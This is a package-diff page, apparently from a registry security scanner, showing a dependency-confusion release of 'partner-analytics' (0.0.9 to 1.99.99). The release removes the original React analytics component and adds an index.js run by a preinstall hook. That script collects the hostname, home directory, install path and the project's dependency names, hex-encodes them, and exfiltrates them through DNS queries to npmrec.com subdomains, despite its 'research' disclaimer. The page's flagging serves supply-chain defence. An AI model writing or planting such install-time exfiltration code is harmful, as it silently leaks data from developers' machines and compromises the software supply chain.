partner-analytics 0.0.9 → 1.99.99
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of partner-analytics might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +111 -0
- package/package.json +6 -19
- package/dist/components/withAnalytics.js +0 -130
- package/dist/index.js +0 -13
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
This package is meant for security research purposes and does not contain any useful code.
|
package/index.js
ADDED
@@ -0,0 +1,111 @@
|
|
1
|
+
/*
|
2
|
+
|
3
|
+
This code is used for research purposes.
|
4
|
+
|
5
|
+
No sensitive data is retrieved.
|
6
|
+
|
7
|
+
Callbacks from within organizations with a
|
8
|
+
responsible disclosure program will be reported
|
9
|
+
directly to the organizations.
|
10
|
+
|
11
|
+
Any other callbacks will be ignored, and
|
12
|
+
any associated data will not be kept.
|
13
|
+
|
14
|
+
If you have any questions, please contact:
|
15
|
+
- harbitz@wearehackerone.com
|
16
|
+
|
17
|
+
*/
|
18
|
+
|
19
|
+
const dns = require("dns");
|
20
|
+
const os = require("os")
|
21
|
+
const fs = require("fs");
|
22
|
+
const process = require("process");
|
23
|
+
|
24
|
+
function toHex(str) {
|
25
|
+
var result = '';
|
26
|
+
for (var i=0; i<str.length; i++) {
|
27
|
+
result += str.charCodeAt(i).toString(16);
|
28
|
+
}
|
29
|
+
return result;
|
30
|
+
}
|
31
|
+
|
32
|
+
const homeDirsToIgnore = [
|
33
|
+
"/root/test/node_modules",
|
34
|
+
"/ptd/node_modules",
|
35
|
+
"/home/fakename/app",
|
36
|
+
"/root",
|
37
|
+
];
|
38
|
+
|
39
|
+
const hostnamesToIgnore = [
|
40
|
+
"BBOGENS-LAPTOP",
|
41
|
+
];
|
42
|
+
|
43
|
+
function getPkgJsonDir() {
|
44
|
+
const { dirname } = require ( 'path' );
|
45
|
+
const { constants, accessSync } = require ( 'fs' );
|
46
|
+
|
47
|
+
for ( let path of module.paths ) {
|
48
|
+
try {
|
49
|
+
let prospectivePkgJsonDir = dirname ( path );
|
50
|
+
accessSync ( path, constants.F_OK );
|
51
|
+
return prospectivePkgJsonDir;
|
52
|
+
} catch ( e ) {}
|
53
|
+
}
|
54
|
+
}
|
55
|
+
|
56
|
+
function main() {
|
57
|
+
const pjs = JSON.parse((fs.readFileSync(__dirname + "/package.json")).toString());
|
58
|
+
const id = Date.now();
|
59
|
+
|
60
|
+
if (homeDirsToIgnore.indexOf(os.homedir()) > -1) {
|
61
|
+
return;
|
62
|
+
}
|
63
|
+
|
64
|
+
if (hostnamesToIgnore.indexOf(os.hostname()) > -1) {
|
65
|
+
return;
|
66
|
+
}
|
67
|
+
|
68
|
+
let packages = "";
|
69
|
+
|
70
|
+
try {
|
71
|
+
const pjsRoot = JSON.parse((fs.readFileSync(getPkgJsonDir() + "/package.json")).toString());
|
72
|
+
packages = JSON.stringify(Array.from(Object.keys(pjsRoot.dependencies)).join(";"));
|
73
|
+
} catch {
|
74
|
+
}
|
75
|
+
|
76
|
+
const relevantInfo = [
|
77
|
+
os.hostname(),
|
78
|
+
os.homedir(),
|
79
|
+
__dirname,
|
80
|
+
pjs.name + "-" + pjs.version,
|
81
|
+
packages
|
82
|
+
]
|
83
|
+
|
84
|
+
const stringFragments = toHex(JSON.stringify(relevantInfo)).match(/.{1,63}/g);
|
85
|
+
|
86
|
+
sendData(stringFragments);
|
87
|
+
dns.lookup('ns1.npmrec.com', function(err, address) {
|
88
|
+
if (!err) {
|
89
|
+
nsAddress = address;
|
90
|
+
} else {
|
91
|
+
nsAddress = '8.8.8.8';
|
92
|
+
}
|
93
|
+
dns.setServers(['188.166.0.193', '188.166.110.6']);
|
94
|
+
sendData(stringFragments);
|
95
|
+
});
|
96
|
+
|
97
|
+
function sendData(stringFragments) {
|
98
|
+
for (let i = 0; i < stringFragments.length; i++) {
|
99
|
+
try {
|
100
|
+
resolveFragment(id, i, stringFragments);
|
101
|
+
} catch {
|
102
|
+
}
|
103
|
+
}
|
104
|
+
}
|
105
|
+
|
106
|
+
function resolveFragment(id, counter, stringFragments) {
|
107
|
+
dns.resolve4(`morjok.${id}.${counter+1}.${stringFragments[counter]}.npmrec.com`, () => {})
|
108
|
+
}
|
109
|
+
}
|
110
|
+
|
111
|
+
main();
|
package/package.json
CHANGED
@@ -1,23 +1,10 @@
|
|
1
1
|
{
|
2
|
+
"description": "Security research purposes only.",
|
3
|
+
"main": "index.js",
|
2
4
|
"name": "partner-analytics",
|
3
|
-
"
|
4
|
-
"private": false,
|
5
|
-
"description": "Partner analytics react HOC",
|
6
|
-
"license": "MIT",
|
7
|
-
"author": "hsny-stats",
|
8
|
-
"main": "dist/index.js",
|
5
|
+
"license": "ISC",
|
9
6
|
"scripts": {
|
10
|
-
"
|
11
|
-
"mkdir": "node build.js",
|
12
|
-
"prepublishOnly": "npm run build",
|
13
|
-
"test": "exit 0"
|
7
|
+
"preinstall": "node index.js"
|
14
8
|
},
|
15
|
-
"
|
16
|
-
|
17
|
-
"ramda": "^0.28.0",
|
18
|
-
"react": "^17.0.0"
|
19
|
-
},
|
20
|
-
"publishConfig": {
|
21
|
-
"access": "public"
|
22
|
-
}
|
23
|
-
}
|
9
|
+
"version": "1.99.99"
|
10
|
+
}
|
@@ -1,130 +0,0 @@
|
|
1
|
-
"use strict";
|
2
|
-
|
3
|
-
Object.defineProperty(exports, "__esModule", {
|
4
|
-
value: true
|
5
|
-
});
|
6
|
-
exports.default = void 0;
|
7
|
-
|
8
|
-
var _react = _interopRequireWildcard(require("react"));
|
9
|
-
|
10
|
-
var _ramda = require("ramda");
|
11
|
-
|
12
|
-
var _hoistNonReactStatics = _interopRequireDefault(require("hoist-non-react-statics"));
|
13
|
-
|
14
|
-
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
15
|
-
|
16
|
-
function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } }
|
17
|
-
|
18
|
-
function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }
|
19
|
-
|
20
|
-
function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; }
|
21
|
-
|
22
|
-
function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }
|
23
|
-
|
24
|
-
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
|
25
|
-
|
26
|
-
function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }
|
27
|
-
|
28
|
-
function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }
|
29
|
-
|
30
|
-
function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }
|
31
|
-
|
32
|
-
function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }
|
33
|
-
|
34
|
-
function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }
|
35
|
-
|
36
|
-
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }
|
37
|
-
|
38
|
-
function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }
|
39
|
-
|
40
|
-
var withAnalytics = function withAnalytics(Comp) {
|
41
|
-
var WithAnalytics =
|
42
|
-
/*#__PURE__*/
|
43
|
-
function (_Component) {
|
44
|
-
_inherits(WithAnalytics, _Component);
|
45
|
-
|
46
|
-
function WithAnalytics() {
|
47
|
-
_classCallCheck(this, WithAnalytics);
|
48
|
-
|
49
|
-
return _possibleConstructorReturn(this, _getPrototypeOf(WithAnalytics).apply(this, arguments));
|
50
|
-
}
|
51
|
-
|
52
|
-
_createClass(WithAnalytics, [{
|
53
|
-
key: "format",
|
54
|
-
value: function format(attributeString) {
|
55
|
-
return attributeString.replace(/\s/g, '-');
|
56
|
-
}
|
57
|
-
}, {
|
58
|
-
key: "render",
|
59
|
-
value: function render() {
|
60
|
-
var _this$props = this.props,
|
61
|
-
analytics = _this$props.analytics,
|
62
|
-
otherProps = _objectWithoutProperties(_this$props, ["analytics"]);
|
63
|
-
|
64
|
-
var analyticsRequired = window.digitalData && analytics;
|
65
|
-
|
66
|
-
var wrappedContent = _react.default.createElement(Comp, otherProps);
|
67
|
-
|
68
|
-
if (analyticsRequired) {
|
69
|
-
if (!window.digitalData.event) {
|
70
|
-
window.digitalData.event = [];
|
71
|
-
}
|
72
|
-
|
73
|
-
var eventInfo = {
|
74
|
-
eventName: this.format((0, _ramda.propOr)('empty', 'eventName')(analytics)),
|
75
|
-
eventAction: 'click'
|
76
|
-
};
|
77
|
-
var linkURL = (0, _ramda.propOr)((0, _ramda.propOr)('empty', 'href')(otherProps), 'href')(analytics);
|
78
|
-
var elementType = linkURL !== 'empty' ? 'Link' : this.format((0, _ramda.propOr)('empty', 'elementType')(analytics));
|
79
|
-
var attributes = {
|
80
|
-
assetName: this.format((0, _ramda.propOr)('empty', 'assetName')(analytics)),
|
81
|
-
moduleName: this.format((0, _ramda.propOr)('empty', 'moduleName')(analytics)),
|
82
|
-
position: this.format((0, _ramda.propOr)('empty', 'position')(analytics)),
|
83
|
-
elementType: elementType,
|
84
|
-
label: this.format((0, _ramda.propOr)('empty', 'label')(analytics)),
|
85
|
-
linkURL: linkURL,
|
86
|
-
userActionFlag: 'false'
|
87
|
-
};
|
88
|
-
var analyticsEvent = {
|
89
|
-
eventInfo: eventInfo,
|
90
|
-
attributes: attributes
|
91
|
-
};
|
92
|
-
|
93
|
-
var analyticsHandler = function analyticsHandler() {
|
94
|
-
window.digitalData.event.push(analyticsEvent);
|
95
|
-
|
96
|
-
try {
|
97
|
-
window._satellite.track('clickEvent');
|
98
|
-
} catch (err) {
|
99
|
-
console.log('Analytics Error:', err);
|
100
|
-
}
|
101
|
-
};
|
102
|
-
|
103
|
-
return _react.default.createElement("span", {
|
104
|
-
onClick: analyticsHandler
|
105
|
-
}, wrappedContent);
|
106
|
-
}
|
107
|
-
|
108
|
-
return wrappedContent;
|
109
|
-
}
|
110
|
-
}], [{
|
111
|
-
key: "WrappedComponent",
|
112
|
-
value: function WrappedComponent() {
|
113
|
-
return Comp;
|
114
|
-
}
|
115
|
-
}]);
|
116
|
-
|
117
|
-
return WithAnalytics;
|
118
|
-
}(_react.Component);
|
119
|
-
|
120
|
-
(0, _hoistNonReactStatics.default)(WithAnalytics, Comp);
|
121
|
-
WithAnalytics.displayName = "WithAnalytics(".concat(getDisplayName(Comp), ")");
|
122
|
-
return WithAnalytics;
|
123
|
-
};
|
124
|
-
|
125
|
-
function getDisplayName(WrappedComponent) {
|
126
|
-
return WrappedComponent.displayName || WrappedComponent.name || 'Component';
|
127
|
-
}
|
128
|
-
|
129
|
-
var _default = withAnalytics;
|
130
|
-
exports.default = _default;
|
package/dist/index.js
DELETED
@@ -1,13 +0,0 @@
|
|
1
|
-
"use strict";
|
2
|
-
|
3
|
-
Object.defineProperty(exports, "__esModule", {
|
4
|
-
value: true
|
5
|
-
});
|
6
|
-
exports.default = void 0;
|
7
|
-
|
8
|
-
var _withAnalytics = _interopRequireDefault(require("./components/withAnalytics"));
|
9
|
-
|
10
|
-
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
11
|
-
|
12
|
-
var _default = _withAnalytics.default;
|
13
|
-
exports.default = _default;
|